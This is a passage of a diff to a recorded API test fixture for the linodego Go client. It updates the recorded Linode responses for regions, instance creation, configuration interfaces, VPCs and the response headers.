"Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:12 GMT + - Fri, 31 May 2024 18:19:10 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-bdy811h61ur8","booted":false}' + body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-14hu375dqwq2","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933554, "label": "go-test-ins-wo-disk-bdy811h61ur8", "group": + body: '{"id": 59544176, "label": "go-test-ins-wo-disk-14hu375dqwq2", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.202.60"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.233.194.44"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "069a01c443a4c034edaff10aeecdf8fb95ec66ba", "has_user_data": false}' + "fd4fc8c27644288806281ff46f10a1f3afe5cb08", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "737" + - "761" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:12 GMT + - Fri, 31 May 2024 18:19:11 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-528us7da1hc5","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-3tbz81t3w7e6","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933554/configs + url: https://api.linode.com/v4beta/linode/instances/59544176/configs method: POST response: - body: '{"id": 58037971, "label": "go-test-conf-528us7da1hc5", "helpers": {"updatedb_disabled": + body: '{"id": 62730812, "label": "go-test-conf-3tbz81t3w7e6", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:12 GMT + - Fri, 31 May 2024 18:19:11 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -386,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-vpc-1707934152869105000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1707934152869163000","ipv4":"192.168.0.0/25"}]}' + body: '{"label":"go-test-vpc-1717179551420456000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1717179551420585000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: @@ -398,8 +452,8 @@ interactions: url: https://api.linode.com/v4beta/vpcs method: POST response: - body: '{"id": 22684, "label": "go-test-vpc-1707934152869105000", "description": - "", "region": "us-iad", "subnets": [{"id": 23563, "label": "linodego-vpc-test-1707934152869163000", + body: '{"id": 64442, "label": "go-test-vpc-1717179551420456000", "description": + "", "region": "us-iad", "subnets": [{"id": 63000, "label": "linodego-vpc-test-1717179551420585000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' @@ -425,7 +479,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:13 GMT + - Fri, 31 May 2024 18:19:11 GMT Pragma: - no-cache Strict-Transport-Security: @@ -440,7 +494,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -449,7 +506,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-528us7da1hc5","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":23563,"ipv4":{"vpc":"192.168.0.87"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' + body: '{"label":"go-test-conf-3tbz81t3w7e6","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":63000,"ipv4":{"vpc":"192.168.0.87"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: @@ -458,23 +515,23 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933554/configs/58037971 + url: https://api.linode.com/v4beta/linode/instances/59544176/configs/62730812 method: PUT response: - body: '{"id": 58037971, "label": "go-test-conf-528us7da1hc5", "helpers": {"updatedb_disabled": + body: '{"id": 62730812, "label": "go-test-conf-3tbz81t3w7e6", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1041197, "purpose": "public", + "virt_mode": "paravirt", "interfaces": [{"id": 1598970, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": - 1041198, "purpose": "vlan", "primary": false, "active": false, "ipam_address": + 1598971, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": - null, "ip_ranges": null}, {"id": 1041199, "purpose": "vpc", "primary": false, - "active": false, "ipam_address": null, "label": null, "vpc_id": 22684, "subnet_id": - 23563, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": + null, "ip_ranges": null}, {"id": 1598972, "purpose": "vpc", "primary": false, + "active": false, "ipam_address": null, "label": null, "vpc_id": 64442, "subnet_id": + 63000, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: @@ -496,7 +553,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:13 GMT + - Fri, 31 May 2024 18:19:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -512,7 +569,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -530,23 +590,23 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933554/configs/58037971 + url: https://api.linode.com/v4beta/linode/instances/59544176/configs/62730812 method: GET response: - body: '{"id": 58037971, "label": "go-test-conf-528us7da1hc5", "helpers": {"updatedb_disabled": + body: '{"id": 62730812, "label": "go-test-conf-3tbz81t3w7e6", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1041197, "purpose": "public", + "virt_mode": "paravirt", "interfaces": [{"id": 1598970, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": - 1041198, "purpose": "vlan", "primary": false, "active": false, "ipam_address": + 1598971, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": - null, "ip_ranges": null}, {"id": 1041199, "purpose": "vpc", "primary": false, - "active": false, "ipam_address": null, "label": null, "vpc_id": 22684, "subnet_id": - 23563, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": + null, "ip_ranges": null}, {"id": 1598972, "purpose": "vpc", "primary": false, + "active": false, "ipam_address": null, "label": null, "vpc_id": 64442, "subnet_id": + 63000, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: @@ -568,7 +628,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:13 GMT + - Fri, 31 May 2024 18:19:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -585,7 +645,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -603,23 +666,23 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933554/configs/58037971 + url: https://api.linode.com/v4beta/linode/instances/59544176/configs/62730812 method: PUT response: - body: '{"id": 58037971, "label": "go-test-conf-528us7da1hc5", "helpers": {"updatedb_disabled": + body: '{"id": 62730812, "label": "go-test-conf-3tbz81t3w7e6", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1041197, "purpose": "public", + "virt_mode": "paravirt", "interfaces": [{"id": 1598970, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": - 1041198, "purpose": "vlan", "primary": false, "active": false, "ipam_address": + 1598971, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": - null, "ip_ranges": null}, {"id": 1041199, "purpose": "vpc", "primary": false, - "active": false, "ipam_address": null, "label": null, "vpc_id": 22684, "subnet_id": - 23563, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": + null, "ip_ranges": null}, {"id": 1598972, "purpose": "vpc", "primary": false, + "active": false, "ipam_address": null, "label": null, "vpc_id": 64442, "subnet_id": + 63000, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: @@ -641,7 +704,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:13 GMT + - Fri, 31 May 2024 18:19:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -657,7 +720,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -675,7 +741,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933554 + 